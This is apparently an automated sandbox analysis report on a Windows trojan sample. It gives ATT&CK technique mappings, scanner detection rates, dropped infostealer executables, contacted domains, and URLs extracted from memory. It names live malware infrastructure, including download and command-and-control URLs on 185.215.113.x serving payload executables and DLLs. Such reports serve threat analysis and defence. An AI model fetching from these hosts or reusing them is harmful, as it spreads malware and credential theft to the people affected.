Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	121 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	112 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	42%	ReversingLabs	Win32.Trojan.Symmi
file.exe	52%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal		Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal		Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal		Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal		Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	42%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe	32%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe	32%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe	42%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1007276001\dd2bc11318.exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1007277001\8865d2703a.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\DocumentsHDGCAAFBFB.exe	53%	ReversingLabs	Win32.Trojan.Generic

Name	IP	Active	Malicious
example.org	93.184.215.14	true	false
chrome.cloudflare-dns.com	172.64.41.3	true	false
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false
services.addons.mozilla.org	151.101.65.91	true	false
fvtejj5vs.top	62.76.234.151	true	false
home.fvtejj5vs.top	62.76.234.151	true	false
contile.services.mozilla.com	34.117.188.166	true	false
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false
ipv4only.arpa	192.0.0.171	true	false
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false
push.services.mozilla.com	34.107.243.93	true	false
www.google.com	142.250.74.196	true	false
normandy-cdn.services.mozilla.com	35.201.103.21	true	false
star-mini.c10r.facebook.com	157.240.0.35	true	false
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false
twitter.com	104.244.42.1	true	false
plus.l.google.com	142.250.185.206	true	false
cook-rain.sbs	188.114.96.3	true	true
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false
dyna.wikimedia.org	185.15.59.224	true	false
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false
youtube.com	142.250.186.78	true	false
youtube-ui.l.google.com	216.58.206.78	true	false
play.google.com	142.250.181.238	true	false
reddit.map.fastly.net	151.101.129.140	true	false
sb.scorecardresearch.com	18.244.18.27	true	false
googlehosted.l.googleusercontent.com	172.217.18.1	true	false
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false
js.monitor.azure.com	unknown	unknown	false
www.reddit.com	unknown	unknown	false
c.msn.com	unknown	unknown	false
spocs.getpocket.com	unknown	unknown	false
mdec.nelreports.net	unknown	unknown	false
ntp.msn.com	unknown	unknown	false
clients2.googleusercontent.com	unknown	unknown	false
content-signature-2.cdn.mozilla.net	unknown	unknown	false
support.mozilla.org	unknown	unknown	false
firefox.settings.services.mozilla.com	unknown	unknown	false
www.youtube.com	unknown	unknown	false
assets.msn.com	unknown	unknown	false
www.facebook.com	unknown	unknown	false
detectportal.firefox.com	unknown	unknown	false
normandy.cdn.mozilla.net	unknown	unknown	false
bzib.nelreports.net	unknown	unknown	false
shavar.services.mozilla.com	unknown	unknown	false
apis.google.com	unknown	unknown	false
api.msn.com	unknown	unknown	false
www.wikipedia.org	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	true
http://185.215.113.206/	true
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731974508648&w=0&anoncknm=app_anon&NoResponseBody=true	false
https://deff.nelreports.net/api/report?cat=msn	false
peepburry828.sbs	true
http://185.215.113.43/Zu7JuNko/index.php	true
http://185.215.113.206/68b591d6548ec281/freebl3.dll	true
https://c.msn.com/c.gif?rnd=1731974503019&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=55de4d4b132b44d08c3cfa4bea7f5d92&activityId=55de4d4b132b44d08c3cfa4bea7f5d92&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=6D1D025C615E41979A81CEA02E1587A4&MUID=36BE74FC8FDA6170211861C08E2B60EF	false
http://185.215.113.206/68b591d6548ec281/nss3.dll	true
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false
processhol.sbs	true
185.215.113.206/c4becf79229cb002.php	true
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731974503017&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false
https://c.msn.com/c.gif?rnd=1731974503019&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=55de4d4b132b44d08c3cfa4bea7f5d92&activityId=55de4d4b132b44d08c3cfa4bea7f5d92&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false
https://sb.scorecardresearch.com/b2?rn=1731974503019&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=36BE74FC8FDA6170211861C08E2B60EF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false
https://play.google.com/log?format=json&hasfast=true	false
https://bzib.nelreports.net/api/report?cat=bingbusiness	false
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false
http://detectportal.firefox.com/canonical.html	false
http://31.41.244.11/files/random.exe	false
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403	false
https://sb.scorecardresearch.com/b?rn=1731974503019&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=36BE74FC8FDA6170211861C08E2B60EF&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731974507879&w=0&anoncknm=app_anon&NoResponseBody=true	false
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	true
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731974507866&w=0&anoncknm=app_anon&NoResponseBody=true	false
http://185.215.113.16/mine/random.exe	false
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	true

URLs from Memory and Binaries

Name	Source	Malicious
https://cook-rain.sbs/3sgEDW	7250ce8e20.exe, 0000001D.00000003.3329173301.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3326975615.00000000054D8000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2490369694.0000000023B26000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094872268.0000000005536000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3095381949.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3268405736.0000000005539000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2490369694.0000000023B26000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094872268.0000000005536000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3095381949.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3268405736.0000000005539000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	false
http://go.micros2	7250ce8e20.exe, 0000001B.00000002.3468049249.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	false
https://cook-rain.sbs/apifV	7250ce8e20.exe, 00000022.00000003.3483691930.0000000001297000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3443065613.0000000001298000.00000004.00000020.00020000.00000000.sdmp	false
https://smartblock.firefox.etp/play.svg	firefox.exe, 0000002F.00000003.3478307112.0000025421BAE000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs//BrowsTV	7250ce8e20.exe, 00000022.00000003.3483691930.0000000001297000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3548532421.0000000001297000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3513307917.000000000129A000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3443065613.0000000001298000.00000004.00000020.00020000.00000000.sdmp	false
https://completion.amazon.com/search/complete?q=	firefox.exe, 0000002F.00000003.3381148615.0000025421453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378101023.0000025421200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378982365.0000025421410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3379900080.0000025421432000.00000004.00000800.00020000.00000000.sdmp	false
https://curl.se/docs/hsts.html	9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/freebl3.dll.	file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	false
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000002F.00000003.3381148615.0000025421453000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378101023.0000025421200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378982365.0000025421410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3379900080.0000025421432000.00000004.00000800.00020000.00000000.sdmp	false
https://www.msn.com	firefox.exe, 0000002F.00000003.3441942587.0000025423CA7000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php4(ip	file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	false
https://cook-rain.sbs/api&	7250ce8e20.exe, 0000001B.00000003.3221377408.0000000000D79000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/off/def.exepleWebKit/537.36	7250ce8e20.exe, 0000001B.00000002.3467547775.0000000000AFB000.00000004.00000010.00020000.00000000.sdmp	false
https://github.com/mozilla-services/screenshots	firefox.exe, 0000002F.00000003.3378101023.0000025421200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3378982365.0000025421410000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3379900080.0000025421432000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000002F.00000003.3592813337.00000254225B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3597334491.0000025422A20000.00000004.00000800.00020000.00000000.sdmp	false
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9	firefox.exe, 0000002F.00000003.3594243952.0000025422A17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3599114013.0000025422A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3594243952.0000025422A11000.00000004.00000800.00020000.00000000.sdmp	false
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp	false
http://185.215.113.206h	35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	7250ce8e20.exe, 0000001D.00000003.3310674431.000000000557D000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs/	7250ce8e20.exe, 00000022.00000003.3548077701.00000000012B7000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3443065613.0000000001298000.00000004.00000020.00020000.00000000.sdmp	false
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2490369694.0000000023B26000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3094872268.0000000005536000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3095381949.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3268405736.0000000005539000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3416253618.0000000005810000.00000004.00000800.00020000.00000000.sdmp	false
http://crl.rootca1.amazontrust.com/rootca1.crl0	7250ce8e20.exe, 0000001B.00000003.3119469326.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3299128954.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3449292127.0000000005861000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php/	file.exe, 00000000.00000002.2779347504.000000000175E000.00000004.00000020.00020000.00000000.sdmp, 35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, 35e66d06ff.exe, 0000001E.00000002.3293296795.0000000001709000.00000004.00000020.00020000.00000000.sdmp	false
http://ocsp.rootca1.amazontrust.com0:	7250ce8e20.exe, 0000001B.00000003.3119469326.000000000552E000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3299128954.00000000055DD000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3449292127.0000000005861000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php:F	35e66d06ff.exe, 0000001E.00000002.3293296795.00000000016F3000.00000004.00000020.00020000.00000000.sdmp	false
https://curl.se/docs/alt-svc.html	9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	false
https://ace-snapper-privately.ngrok-free.app/test/testFailed	9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2407996938.0000000023AB8000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080312571.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080635809.0000000005529000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3080190460.000000000552B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243665492.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243925358.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3243577238.000000000551D000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3387118263.00000000057E8000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3386768916.00000000057FF000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	7250ce8e20.exe, 00000022.00000003.3464963698.0000000005A35000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206ngineer	file.exe, 00000000.00000002.2777086892.0000000000AC5000.00000040.00000001.01000000.00000003.sdmp	false
https://cook-rain.sbs/.	7250ce8e20.exe, 00000022.00000003.3548077701.00000000012B7000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/mine/random.exea	file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	false
https://cook-rain.sbs/apiQ2	7250ce8e20.exe, 0000001D.00000003.3430759574.00000000054D1000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.16/mine/random.exeb	file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	false
https://bugzilla.mo	firefox.exe, 0000002F.00000003.3446194244.0000025422084000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	file.exe, 00000000.00000003.2728373333.0000000023DB8000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpB	35e66d06ff.exe, 0000001E.00000002.3293296795.0000000001720000.00000004.00000020.00020000.00000000.sdmp	false
https://cook-rain.sbs/#	7250ce8e20.exe, 0000001D.00000003.3432070435.0000000000D34000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3459060941.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3433559770.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/nss3.dllD	file.exe, 00000000.00000002.2779347504.00000000016F9000.00000004.00000020.00020000.00000000.sdmp	false
https://smartblock.firefox.etp/facebook.svg	firefox.exe, 0000002F.00000003.3478307112.0000025421BAE000.00000004.00000800.00020000.00000000.sdmp	false
https://msn.comXIDv10	7250ce8e20.exe, 0000001B.00000003.3097665497.0000000005504000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3098105533.00000000054E1000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001B.00000003.3098995123.00000000054E4000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3270566583.00000000054F4000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3269887923.0000000005507000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3268654257.0000000005504000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3420493240.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3417613587.00000000057DE000.00000004.00000800.00020000.00000000.sdmp, 7250ce8e20.exe, 00000022.00000003.3416929061.00000000012C0000.00000004.00000020.00020000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight	firefox.exe, 0000002F.00000003.3592813337.00000254225B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002F.00000003.3597334491.0000025422A20000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpP	file.exe, 00000000.00000002.2779347504.000000000175E000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/off/def.exe	7250ce8e20.exe, 0000001D.00000003.3519203805.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3518160061.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3519769803.0000000000D24000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3519369488.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp	false
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture	firefox.exe, 0000002F.00000003.3434517522.00000254252A2000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2779347504.000000000175E000.00000004.00000020.00020000.00000000.sdmp, 7250ce8e20.exe, 0000001D.00000003.3310674431.000000000557D000.00000004.00000800.00020000.00000000.sdmp	false
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17	9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	false
http://html4/loose.dtd	9b3207e1a5.exe, 00000019.00000003.2994315186.0000000006FE2000.00000004.00001000.00020000.00000000.sdmp	false
